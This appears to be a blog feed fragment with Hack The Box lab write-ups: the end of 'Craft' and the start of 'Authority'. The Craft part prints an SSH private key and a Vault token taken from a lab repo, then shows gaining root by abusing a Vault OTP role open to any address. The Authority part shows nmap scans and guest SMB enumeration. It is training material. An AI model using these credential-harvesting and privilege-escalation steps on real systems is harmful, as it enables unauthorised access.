&lt;p&gt;Digging further into gilfoyle I found that he had a private repository called &lt;code&gt;craft-infra&lt;/code&gt; on which we can find his public and private SSH keys, likely to the dc host.





&lt;div
 id="accordion-fcc4c71865ba46c9b517400df551e3de"
 class="border border-neutral-200 dark:border-neutral-700 rounded-lg overflow-hidden"
 data-accordion="collapse"
 data-accordion-separated="false"
&gt;
 


 










&lt;details
 class="group border-none"
 data-accordion-item
 
&gt;
 &lt;summary class="flex w-full cursor-pointer items-center justify-between gap-4 px-4 py-3 text-left text-lg font-semibold text-neutral-900 dark:text-neutral-100"&gt;
 &lt;span class="flex items-center gap-2"&gt;
 
 &lt;span class="relative block icon"&gt;&lt;svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"&gt;
&lt;path fill="currentColor" d="M392.8 1.2c-17-4.9-34.7 5-39.6 22l-128 448c-4.9 17 5 34.7 22 39.6s34.7-5 39.6-22l128-448c4.9-17-5-34.7-22-39.6zm80.6 120.1c-12.5 12.5-12.5 32.8 0 45.3L562.7 256l-89.4 89.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l112-112c12.5-12.5 12.5-32.8 0-45.3l-112-112c-12.5-12.5-32.8-12.5-45.3 0zm-306.7 0c-12.5-12.5-32.8-12.5-45.3 0l-112 112c-12.5 12.5-12.5 32.8 0 45.3l112 112c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L77.3 256l89.4-89.4c12.5-12.5 12.5-32.8 0-45.3z"/&gt;&lt;/svg&gt;&lt;/span&gt;
 
 &lt;span&gt;SSH private key&lt;/span&gt;
 &lt;/span&gt;
 &lt;span class="accordion-chevron ms-auto flex h-5 w-5 items-center justify-center print:hidden"&gt;
 &lt;span class="relative block icon"&gt;&lt;svg
 xmlns="http://www.w3.org/2000/svg"
 viewBox="0 0 20 20"
 fill="currentColor"
 aria-hidden="true"
&gt;
 &lt;path
 fill-rule="evenodd"
 d="M5.23 7.21a.75.75 0 011.06.02L10 11.168l3.71-3.938a.75.75 0 111.08 1.04l-4.25 4.5a.75.75 0 01-1.08 0l-4.25-4.5a.75.75 0 01.02-1.06z"
 clip-rule="evenodd"
 /&gt;
&lt;/svg&gt;
&lt;/span&gt;
 &lt;/span&gt;
 &lt;/summary&gt;
&lt;div class="px-4 pb-4 text-neutral-700 dark:text-neutral-300"&gt;
 &lt;pre&gt;&lt;code&gt;parrot@parrot (~/Desktop/htb/machines/craft): cat id_rsa 
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABDD9Lalqe
qF/F3X76qfIGkIAAAAEAAAAAEAAAEXAAAAB3NzaC1yc2EAAAADAQABAAABAQDSkCF7NV2Z
F6z8bm8RaFegvW2v58stknmJK9oS54ZdUzH2jgD0bYauVqZ5DiURFxIwOcbVK+jB39uqrS
zU0aDPlyNnUuUZh1Xdd6rcTDE3VU16roO918VJCN+tIEf33pu2VtShZXDrhGxpptcH/tfS
RgV86HoLpQ0sojfGyIn+4sCg2EEXYng2JYxD+C1o4jnBbpiedGuqeDSmpunWA82vwWX4xx
lLNZ/ZNgCQTlvPMgFbxCAdCTyHzyE7KI+0Zj7qFUeRhEgUN7RMmb3JKEnaqptW4tqNYmVw
pmMxHTQYXn5RN49YJQlaFOZtkEndaSeLz2dEA96EpS5OJl0jzUThAAAD0JwMkipfNFbsLQ
B4TyyZ/M/uERDtndIOKO+nTxR1+eQkudpQ/ZVTBgDJb/z3M2uLomCEmnfylc6fGURidrZi
4u+fwUG0Sbp9CWa8fdvU1foSkwPx3oP5YzS4S+m/w8GPCfNQcyCaKMHZVfVsys9+mLJMAq
Rz5HY6owSmyB7BJrRq0h1pywue64taF/FP4sThxknJuAE+8BXDaEgjEZ+5RA5Cp4fLobyZ
3MtOdhGiPxFvnMoWwJLtqmu4hbNvnI0c4m9fcmCO8XJXFYz3o21Jt+FbNtjfnrIwlOLN6K
Uu/17IL1vTlnXpRzPHieS5eEPWFPJmGDQ7eP+gs/PiRofbPPDWhSSLt8BWQ0dzS8jKhGmV
ePeugsx/vjYPt9KVNAN0XQEA4tF8yoijS7M8HAR97UQHX/qjbna2hKiQBgfCCy5GnTSnBU
GfmVxnsgZAyPhWmJJe3pAIy+OCNwQDFo0vQ8kET1I0Q8DNyxEcwi0N2F5FAE0gmUdsO+J5
0CxC7XoOzvtIMRibis/t/jxsck4wLumYkW7Hbzt1W0VHQA2fnI6t7HGeJ2LkQUce/MiY2F
5TA8NFxd+RM2SotncL5mt2DNoB1eQYCYqb+fzD4mPPUEhsqYUzIl8r8XXdc5bpz2wtwPTE
cVARG063kQlbEPaJnUPl8UG2oX9LCLU9ZgaoHVP7k6lmvK2Y9wwRwgRrCrfLREG56OrXS5
elqzID2oz1oP1f+PJxeberaXsDGqAPYtPo4RHS0QAa7oybk6Y/ZcGih0ChrESAex7wRVnf
CuSlT+bniz2Q8YVoWkPKnRHkQmPOVNYqToxIRejM7o3/y9Av91CwLsZu2XAqElTpY4TtZa
hRDQnwuWSyl64tJTTxiycSzFdD7puSUK48FlwNOmzF/eROaSSh5oE4REnFdhZcE4TLpZTB
a7RfsBrGxpp++Gq48o6meLtKsJQQeZlkLdXwj2gOfPtqG2M4gWNzQ4u2awRP5t9AhGJbNg
MIxQ0KLO+nvwAzgxFPSFVYBGcWRR3oH6ZSf+iIzPR4lQw9OsKMLKQilpxC6nSVUPoopU0W
Uhn1zhbr+5w5eWcGXfna3QQe3zEHuF3LA5s0W+Ql3nLDpg0oNxnK7nDj2I6T7/qCzYTZnS
Z3a9/84eLlb+EeQ9tfRhMCfypM7f7fyzH7FpF2ztY+j/1mjCbrWiax1iXjCkyhJuaX5BRW
I2mtcTYb1RbYd9dDe8eE1X+C/7SLRub3qdqt1B0AgyVG/jPZYf/spUKlu91HFktKxTCmHz
6YvpJhnN2SfJC/QftzqZK2MndJrmQ=
-----END OPENSSH PRIVATE KEY-----
&lt;/code&gt;&lt;/pre&gt;

 &lt;/div&gt;
&lt;/details&gt;

&lt;/div&gt;

&lt;style&gt;
 #accordion-fcc4c71865ba46c9b517400df551e3de &gt; details + details {
 border-top: 1px solid rgb(var(--color-neutral-200));
 }
 .dark #accordion-fcc4c71865ba46c9b517400df551e3de &gt; details + details {
 border-top-color: rgb(var(--color-neutral-700));
 }
&lt;/style&gt;

&lt;style&gt;
 #accordion-fcc4c71865ba46c9b517400df551e3de details[data-accordion-item] &gt; summary .accordion-chevron {
 transform: rotate(-90deg);
 transition: transform 200ms ease-in-out;
 }
 #accordion-fcc4c71865ba46c9b517400df551e3de details[data-accordion-item][open] &gt; summary .accordion-chevron {
 transform: rotate(0deg);
 }
&lt;/style&gt;

&lt;script&gt;
 (() =&gt; {
 const root = document.getElementById("accordion-fcc4c71865ba46c9b517400df551e3de");
 if (!root) return;
 const items = root.querySelectorAll("details[data-accordion-item]");
 items.forEach((item) =&gt; {
 item.addEventListener("toggle", () =&gt; {
 if (!item.open) return;
 items.forEach((other) =&gt; {
 if (other !== item) other.removeAttribute("open");
 });
 });
 });
 })();
&lt;/script&gt;


&lt;br&gt;
When I try to authenticate with &lt;code&gt;ssh -i id_rsa gilfoyle@10.129.22.88&lt;/code&gt; i get a message &amp;ldquo;Load key &amp;ldquo;id_rsa&amp;rdquo;: error in libcrypto&amp;rdquo;. From what I&amp;rsquo;ve read this can happen when SSH expects an older private key format called PEM. You can easily know which one is which by looking at the first line:
New one: &lt;code&gt;-----BEGIN OPENSSH PRIVATE KEY-----&lt;/code&gt;
Old one: &lt;code&gt;-----BEGIN RSA PRIVATE KEY-----&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Luckily, the key can be formatted easily with &lt;code&gt;ssh-keygen&lt;/code&gt;. First let&amp;rsquo;s make a copy of the original with &lt;code&gt;cp id_rsa id_rsa-original&lt;/code&gt; and format the copy with &lt;code&gt;ssh-keygen -p -f id_rsa -m PEM&lt;/code&gt;.
When I tried to run this, I got another error stating &lt;code&gt;Failed to load key id_rsa: error in libcrypto&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;After some digging, I &lt;a href="https://maxrohde.com/2025/08/16/fix-error-in-libcrypto-error-reading-private-ssh-key/" target="_blank" rel="noreferrer"&gt;found an article&lt;/a&gt; stating that the issue was because the user didn&amp;rsquo;t include a newline after the closing line of the key. I went back and raw copied the key from the github. I had two new lines at the end, when I pasted it like so, it worked flawlessly.&lt;/p&gt;
&lt;p&gt;Enumerating the user they don&amp;rsquo;t have any low hanging permissions or rights to take advantage on. Interestingly, I&amp;rsquo;m on the &lt;code&gt;craft.htb&lt;/code&gt; host and not &lt;code&gt;db&lt;/code&gt; which I suspected was the hostname of the Docker host.&lt;/p&gt;

&lt;h2 class="relative group"&gt;Privilege Escalation
 &lt;div id="privilege-escalation" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h2&gt;

&lt;h3 class="relative group"&gt;Vault
 &lt;div id="vault" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h3&gt;
&lt;p&gt;I looked a bit further and found &lt;code&gt;.vault-token&lt;/code&gt; file which contains this token &lt;code&gt;f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9gilfoyle&lt;/code&gt;. I looked through the filesystem with &lt;code&gt;find / -iname &amp;quot;*vault*&amp;quot; 2&amp;gt;/dev/null&lt;/code&gt; and found these files.&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/home/gilfoyle/.vault-token
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/var/log/vaultssh.log
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/usr/local/bin/vault
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/usr/local/bin/vault-ssh-helper
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/usr/local/etc/vault-ssh-helper.hcl&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;I then ran looked through them manually and greped for key words in them but didn&amp;rsquo;t find anything interesting. I tried to ssh into the port 6022 as maybe that is the vault that is mentioned. The amount of SSH files suggested that but I still can&amp;rsquo;t authenticate there.
There are ssh related files and that the whole box is about web requests I decided to run my directory and subdomain enumerations as I canceled them prematurely at the start of the box. I scanned for some time but nothing new came up.&lt;/p&gt;
&lt;p&gt;I looked again through the &lt;code&gt;infra.craft&lt;/code&gt; repo and found a folder named &lt;code&gt;vault&lt;/code&gt;.
as both &lt;code&gt;vault&lt;/code&gt; and &lt;code&gt;vault-ssh-helper&lt;/code&gt; are in the &lt;code&gt;bin&lt;/code&gt; folder I should be able to execute them and see how they work.
I can read and list secrets from a vault, the issue is that I don&amp;rsquo;t know the path to it. I tried to do &lt;code&gt;vault list /ssh/roles/root_otp&lt;/code&gt; as I saw this path in &lt;code&gt;secrets.sh&lt;/code&gt; - didn&amp;rsquo;t work and seemed far fetched.
There is a way to use ssh to authenticate into a vault, maybe i can use that token I found before in it.
This is the info from the &lt;code&gt;help&lt;/code&gt; option:&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Info from the `help` option
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SSH using the OTP mode (requires sshpass for full automation):
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	$ vault ssh -mode=otp -role=my-role user@1.2.3.4
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SSH using the CA mode:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	$ vault ssh -mode=ca -role=my-role user@1.2.3.4
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SSH using CA mode with host key verification:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	$ vault ssh \
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;		-mode=ca \
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;		-role=my-role \
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;		-host-key-mount-point=host-signer \
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;		-host-key-hostnames=example.com \
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	user@example.com&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;There are three way to authenticate &amp;ldquo;one time password&amp;rdquo; and two &amp;ldquo;certificate authority&amp;rdquo; modes. Looking at the token I found it looks more like an OTP authentication.&lt;/p&gt;
&lt;p&gt;I reviewed the source code and found these parts interesting:&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;vault write ssh/roles/root_otp \
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; key_type=otp \
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; default_user=root \
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; cidr_list=0.0.0.0/0
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Token: f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9gilfoyle
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;storage &amp;#34;file&amp;#34; {
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	path = &amp;#34;/vault/data&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ui = false
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;listener &amp;#34;tcp&amp;#34; {
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	address = &amp;#34;0.0.0.0:8200&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	tls_cert_file = &amp;#34;/vault/pki/vault.craft.htb.crt&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	tls_key_file = &amp;#34;/vault/pki/vault.craft.htb.key&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	tls_min_version = &amp;#34;tls12&amp;#34;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;The first command is the most important one - it creates a role &lt;code&gt;root_otp&lt;/code&gt; which can request to get OTPs for root and those request can come from any IP. This represents a lazy admin setup and because of this can get a root access simply by requesting it.
The token is an OTP that was used by the user, it showed me what it looks like.
The last script shows that the vault is located at &lt;code&gt;/vault/data&lt;/code&gt; and that it is listening on all interfaces with HTTPS on the 8200 port.&lt;/p&gt;
&lt;p&gt;To get the root, I simply ran &lt;code&gt;vault ssh -mode=otp -role=root_otp root@10.129.22.88&lt;/code&gt;.&lt;/p&gt;

&lt;h2 class="relative group"&gt;Closing Thoughts
 &lt;div id="closing-thoughts" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h2&gt;
&lt;p&gt;This box was challenging to me, one of the most confusing I worked on. I had little experience until now with working with APIs and creating injections is something I need to practice more. I liked that I challenged myself to write my first working exploit for this box and it helped me to learn and refresh my Python knowledge. Simulation of reading up on a git repo and a really hands on code review was a great learning experience. I never worked with HashiCorp Vault before so this was also interesting - a lot of pivoting as well.&lt;/p&gt;
&lt;p&gt;For code review and injections I think is important to try to really concentrate, go down the rabbit hole and really try to understand the logic of the mechanism. Sounds trivial I know, but I feel I could save a lot of time by starting with such hard mindset from the beginning.&lt;/p&gt;
&lt;p&gt;PS: I still didn&amp;rsquo;t figure out what was port 6022 used for, so like ¯\&lt;em&gt;(ツ)&lt;/em&gt;/¯&lt;/p&gt;</description><media:content xmlns:media="http://search.yahoo.com/mrss/" url="https://emilpawlak.codeberg.page/posts/htb/craft/featured.png"/></item><item><title>Authority</title><link>https://emilpawlak.codeberg.page/posts/htb/authority/</link><pubDate>02.04.2026</pubDate><author>EmilPawlak@protonmail.com (Emil Pawlak)</author><guid>https://emilpawlak.codeberg.page/posts/htb/authority/</guid><description>Authority is an interesting take on Windows and Active Directory attacks, it demonstrates a mix of known techniques and a niche pathways that I was not familiar with. It took a seemengly trivial AD privilege escalation and introduced a number of fun challenges that made the box interesting at each part of completion.</description><description>
&lt;h2 class="relative group"&gt;Enumeration
 &lt;div id="enumeration" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h2&gt;
&lt;p&gt;I didn&amp;rsquo;t get any credentials assumed breach style so I will start with an enumeration.&lt;/p&gt;

&lt;h3 class="relative group"&gt;nmap
 &lt;div id="nmap" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h3&gt;
&lt;p&gt;Let&amp;rsquo;s start with a simple nmap enumeration.&lt;br&gt;
&lt;code&gt;sudo nmap -sC -sV -O -Pn 10.129.20.218; sleep 5; sudo nmap -p- -Pn 10.129.20.218; sleep 5; sudo nmap -sU 10.129.20.218&lt;/code&gt;





&lt;div
 id="accordion-54cae11704a6233e8075627a2b3b6346"
 class="border border-neutral-200 dark:border-neutral-700 rounded-lg overflow-hidden"
 data-accordion="collapse"
 data-accordion-separated="false"
&gt;
 


 










&lt;details
 class="group border-none"
 data-accordion-item
 
&gt;
 &lt;summary class="flex w-full cursor-pointer items-center justify-between gap-4 px-4 py-3 text-left text-lg font-semibold text-neutral-900 dark:text-neutral-100"&gt;
 &lt;span class="flex items-center gap-2"&gt;
 
 &lt;span class="relative block icon"&gt;&lt;svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"&gt;
&lt;path fill="currentColor" d="M392.8 1.2c-17-4.9-34.7 5-39.6 22l-128 448c-4.9 17 5 34.7 22 39.6s34.7-5 39.6-22l128-448c4.9-17-5-34.7-22-39.6zm80.6 120.1c-12.5 12.5-12.5 32.8 0 45.3L562.7 256l-89.4 89.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l112-112c12.5-12.5 12.5-32.8 0-45.3l-112-112c-12.5-12.5-32.8-12.5-45.3 0zm-306.7 0c-12.5-12.5-32.8-12.5-45.3 0l-112 112c-12.5 12.5-12.5 32.8 0 45.3l112 112c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L77.3 256l89.4-89.4c12.5-12.5 12.5-32.8 0-45.3z"/&gt;&lt;/svg&gt;&lt;/span&gt;
 
 &lt;span&gt;nmap scan results&lt;/span&gt;
 &lt;/span&gt;
 &lt;span class="accordion-chevron ms-auto flex h-5 w-5 items-center justify-center print:hidden"&gt;
 &lt;span class="relative block icon"&gt;&lt;svg
 xmlns="http://www.w3.org/2000/svg"
 viewBox="0 0 20 20"
 fill="currentColor"
 aria-hidden="true"
&gt;
 &lt;path
 fill-rule="evenodd"
 d="M5.23 7.21a.75.75 0 011.06.02L10 11.168l3.71-3.938a.75.75 0 111.08 1.04l-4.25 4.5a.75.75 0 01-1.08 0l-4.25-4.5a.75.75 0 01.02-1.06z"
 clip-rule="evenodd"
 /&gt;
&lt;/svg&gt;
&lt;/span&gt;
 &lt;/span&gt;
 &lt;/summary&gt;
&lt;div class="px-4 pb-4 text-neutral-700 dark:text-neutral-300"&gt;
 &lt;pre&gt;&lt;code&gt;Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-01 19:17 CEST
Nmap scan report for authority.htb.corp (10.129.20.218)
Host is up (0.029s latency).
Not shown: 986 closed tcp ports (reset)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
| http-methods: 
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-04-01 21:17:09Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: othername: UPN:AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Not valid before: 2022-08-09T23:03:21
|_Not valid after: 2024-08-09T23:13:21
|_ssl-date: 2026-04-01T21:18:10+00:00; +4h00m00s from scanner time.
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-04-01T21:18:10+00:00; +4h00m00s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: othername: UPN:AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Not valid before: 2022-08-09T23:03:21
|_Not valid after: 2024-08-09T23:13:21
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: othername: UPN:AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Not valid before: 2022-08-09T23:03:21
|_Not valid after: 2024-08-09T23:13:21
|_ssl-date: 2026-04-01T21:18:10+00:00; +4h00m00s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-04-01T21:18:10+00:00; +4h00m00s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: othername: UPN:AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Not valid before: 2022-08-09T23:03:21
|_Not valid after: 2024-08-09T23:13:21
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
8443/tcp open ssl/http Apache Tomcat (language: en)
|_http-title: Site doesn't have a title (text/html;charset=ISO-8859-1).
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=172.16.2.118
| Not valid before: 2026-03-30T14:07:45
|_Not valid after: 2028-04-01T01:46:09
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.95%E=4%D=4/1%OT=53%CT=1%CU=42908%PV=Y%DS=2%DC=I%G=Y%TM=69CD5352
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=107%GCD=1%ISR=103%TI=I%CI=I%II=I%SS=S%TS=U
OS:)SEQ(SP=107%GCD=1%ISR=10C%TI=I%CI=I%II=I%SS=S%TS=U)SEQ(SP=108%GCD=1%ISR=
OS:108%TI=I%CI=I%II=I%SS=S%TS=U)SEQ(SP=FD%GCD=1%ISR=10E%TI=I%CI=I%II=I%SS=S
OS:%TS=U)SEQ(SP=FF%GCD=1%ISR=10C%TI=I%CI=I%II=I%SS=S%TS=U)OPS(O1=M4E2NW8NNS
OS:%O2=M4E2NW8NNS%O3=M4E2NW8%O4=M4E2NW8NNS%O5=M4E2NW8NNS%O6=M4E2NNS)WIN(W1=
OS:FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70)ECN(R=Y%DF=Y%T=80%W=FFFF%O=
OS:M4E2NW8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)
OS:T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S
OS:+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=N)U1(
OS:R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=
OS:N%T=80%CD=Z)

Network Distance: 2 hops
Service Info: Host: AUTHORITY; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 4h00m00s, deviation: 0s, median: 3h59m59s
| smb2-time: 
| date: 2026-04-01T21:18:05
|_ start_date: N/A
| smb2-security-mode: 
| 3:1:1: 
|_ Message signing enabled and required

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 69.14 seconds
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-01 19:18 CEST
Nmap scan report for authority.htb.corp (10.129.20.218)
Host is up (0.029s latency).
Not shown: 65506 closed tcp ports (reset)
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
8443/tcp open https-alt
9389/tcp open adws
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49673/tcp open unknown
49690/tcp open unknown
49691/tcp open unknown
49693/tcp open unknown
49694/tcp open unknown
49703/tcp open unknown
49714/tcp open unknown
52328/tcp open unknown
59600/tcp open unknown

Nmap done: 1 IP address (1 host up) scanned in 44.21 seconds
&lt;/code&gt;&lt;/pre&gt;

 &lt;/div&gt;
&lt;/details&gt;

&lt;/div&gt;

&lt;style&gt;
 #accordion-54cae11704a6233e8075627a2b3b6346 &gt; details + details {
 border-top: 1px solid rgb(var(--color-neutral-200));
 }
 .dark #accordion-54cae11704a6233e8075627a2b3b6346 &gt; details + details {
 border-top-color: rgb(var(--color-neutral-700));
 }
&lt;/style&gt;

&lt;style&gt;
 #accordion-54cae11704a6233e8075627a2b3b6346 details[data-accordion-item] &gt; summary .accordion-chevron {
 transform: rotate(-90deg);
 transition: transform 200ms ease-in-out;
 }
 #accordion-54cae11704a6233e8075627a2b3b6346 details[data-accordion-item][open] &gt; summary .accordion-chevron {
 transform: rotate(0deg);
 }
&lt;/style&gt;

&lt;script&gt;
 (() =&gt; {
 const root = document.getElementById("accordion-54cae11704a6233e8075627a2b3b6346");
 if (!root) return;
 const items = root.querySelectorAll("details[data-accordion-item]");
 items.forEach((item) =&gt; {
 item.addEventListener("toggle", () =&gt; {
 if (!item.open) return;
 items.forEach((other) =&gt; {
 if (other !== item) other.removeAttribute("open");
 });
 });
 });
 })();
&lt;/script&gt;


&lt;br&gt;
From this scan I can see a lot of Windows Domain related ports and a domain name so I will input that info into /etc/hosts with &lt;code&gt;sudo vim /etc/hosts&lt;/code&gt;&lt;/p&gt;

&lt;h3 class="relative group"&gt;SMB
 &lt;div id="smb" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h3&gt;
&lt;p&gt;Let&amp;rsquo;s start with SMB, I can see that I have access to two shares &lt;code&gt;Development&lt;/code&gt; and &lt;code&gt;IPC$&lt;/code&gt; however after accessing the latter I wasn&amp;rsquo;t able to really look into it so let&amp;rsquo;s focus on the first one.&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;parrot@parrot (~): netexec smb 10.129.20.218 --shares -u guest -p &amp;#39;&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	Share Permissions Remark
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	----- ----------- ------
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	ADMIN$ Remote Admin
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	C$ Default share
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	Department Shares 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	Development READ 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	IPC$ READ Remote IPC
